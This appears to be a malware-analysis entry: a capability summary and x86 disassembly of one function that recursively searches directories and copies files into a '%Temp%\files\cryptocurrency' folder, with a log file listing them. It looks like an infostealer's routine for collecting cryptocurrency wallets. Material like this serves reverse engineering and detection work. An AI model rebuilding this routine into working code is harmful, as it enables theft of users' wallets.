Function at 0x416c20
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c04a4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x720
push ebx
push esi
push edi
xor edi, edi
mov ebx, ecx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], edi
lea eax, [ebp + 8]
mov edx, dword [ebp + 0x1c]
cmp edx, 8
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0x18]
cmovae eax, esi
cmp word [eax + ecx*2 - 2], 0x5c
je 0x416c99
cmp ecx, edx
jae 0x416c87
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, esi
mov dword [eax + ecx*2], 0x5c
jmp 0x416c99
push 0x5c
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
push ecx
lea ecx, [ebp + 8]
call fcn.00406240
push ebx
lea edx, [ebp + 8]
lea ecx, [ebp - 0x98]
call fcn.0041ac90
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x416cb3
mov eax, dword [eax]
lea ecx, [ebp - 0x318]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edx, dword [ebp - 0x84]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x18], esi
setne bl
cmp edx, 8
jb 0x416d0c
mov ecx, dword [ebp - 0x98]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416d02
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 7
mov word [ebp - 0x98], ax
test bl, bl
je 0x417286
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x30]
mov esi, 0x37f
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrency_
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x416d6f
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x520]
push ecx
push eax
call ebx
mov edx, dword [ebp - 0x34]
cmp edx, 8
jb 0x416db8
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416dae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x38], 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], 7
mov word [ebp - 0x48], ax
cmp edx, 8
jb 0x416e09
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416dff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp byte [0x4da960], 0
je 0x416e2c
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x60]
idiv esi
add edx, 0x68
call fcn.0040ee80
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x520]
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 7
lea edx, [ecx + 2]
mov word [ebp - 0x48], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x416e60
sub ecx, edx
lea eax, [ebp - 0x520]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0041aa10
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x30]
call fcn.0041ade0
add esp, 4
push 0x4cf708
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.00405d20
add esp, 4
lea ecx, [ebp - 0x2ec]
mov byte [ebp - 4], 5
push ecx
mov edx, eax
lea ecx, [ebp - 0xc8]
call fcn.00405d20
add esp, 4
mov esi, eax
lea eax, [ebp - 0x2ec]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0xb0]
call fcn.0041ae90
add esp, 4
cmp dword [esi + 0x14], 8
jb 0x416eec
mov esi, dword [esi]
cmp dword [eax + 0x14], 8
jb 0x416ef4
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, dword [ebp - 0x9c]
cmp edx, 8
jb 0x416f3e
mov ecx, dword [ebp - 0xb0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416f34
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 7
mov word [ebp - 0xb0], ax
cmp edx, 8
jb 0x416f9f
mov ecx, dword [ebp - 0xc8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416f95
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 7
mov word [ebp - 0xc8], ax
cmp edx, 8
jb 0x416ffa
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416ff0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
cmp edx, 8
jb 0x41704c
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417042
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
cmp edx, 8
jb 0x41709e
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417094
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x78]
call fcn.00405bc0
add esp, 4
push str._files_cryptocurrencylog.txt
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4170d1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x728]
push ecx
push eax
call ebx
mov edx, dword [ebp - 0x1c]
cmp edx, 8
jb 0x41711a
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417110
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
cmp edx, 8
jb 0x41716c
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417162
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x728]
push str.a_ccsUTF_16LE
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x417228
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0x60]
push ecx
push 0x4cf760
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x2ec]
push eax
push str._wS_n
push esi
call fcn.0040edd0
add esp, 0xc
lea eax, [ebp - 0x2ec]
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
call fcn.0041ae90
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4171d6
mov eax, dword [eax]
push eax
push str._wS_n_n
push esi
call fcn.0040edd0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
cmp edx, 8
jb 0x41721f
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x417215
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
push esi
call fcn.004a5e1b
add esp, 4
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x4c]
cmp edx, 8
jb 0x417266
mov ecx, dword [ebp - 0x60]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41725c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175aa
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x318]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x416d37
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x78]
call fcn.0041a8c0
push 0x4cf784
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x30]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4172b0
mov eax, dword [eax]
lea ecx, [ebp - 0x318]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edx, dword [ebp - 0x1c]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x80], esi
setne bl
cmp edx, 8
jb 0x417303
mov ecx, dword [ebp - 0x30]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4172f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175af
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x20], 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
cmp edx, 8
jb 0x417354
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41734a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175af
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
test bl, bl
je 0x417563
test byte [ebp - 0x318], 0x10
je 0x41747d
xor eax, eax
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 0x34], 7
mov word [ebp - 0x48], ax
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4173a0
sub ecx, edx
lea eax, [ebp - 0x2ec]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0041aa10
mov byte [ebp - 4], 9
lea esi, [ebp - 0x48]
mov ebx, dword [ebp - 0x48]
or edi, 1
cmp dword [ebp - 0x34], 8
mov dword [ebp - 0x14], edi
cmovae esi, ebx
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x38], 2
jne 0x417403
mov ecx, 0x4cf39c
mov edx, 2
sub esi, ecx
nop dword [eax + eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x417403
add ecx, 2
sub edx, 1
jne 0x4173f0
jmp 0x417480
xor eax, eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 0x4c], 7
mov word [ebp - 0x60], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417420
sub ecx, edx
lea eax, [ebp - 0x2ec]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0041aa10
or edi, 2
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x60]
cmovae esi, edi
cmp dword [ebp - 0x50], 1
jne 0x417477
mov ecx, 0x4cf398
mov edx, 1
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x417477
add ecx, 2
sub edx, 1
jne 0x417464
jmp 0x417483
mov byte [ebp - 0xd], 1
jmp 0x417487
mov ebx, dword [ebp - 0x48]
mov edi, dword [ebp - 0x60]
mov byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x14]
test cl, 2
je 0x4174cf
mov eax, dword [ebp - 0x4c]
and ecx, 0xfffffffd
mov dword [ebp - 0x14], ecx
cmp eax, 8
jb 0x4174cf
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x4174c2
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175b4
push ecx
push edi
call fcn.004a24e6
mov ecx, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 4], 0
test cl, 1
je 0x417518
mov eax, dword [ebp - 0x34]
and ecx, 0xfffffffe
mov dword [ebp - 0x14], ecx
cmp eax, 8
jb 0x417518
lea ecx, [eax*2 + 2]
mov eax, ebx
cmp ecx, 0x1000
jb 0x41750e
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175b4
push ecx
push ebx
call fcn.004a24e6
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x417540
sub esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
lea edx, [ebp + 8]
push eax
call fcn.0041ae90
mov ecx, dword [ebp - 0x7c]
add esp, 4
call fcn.00416c20
add esp, 0x18
mov esi, dword [ebp - 0x80]
lea eax, [ebp - 0x318]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, dword [ebp - 0x14]
test eax, eax
jne 0x417370
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x417599
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41758f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4175b4
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3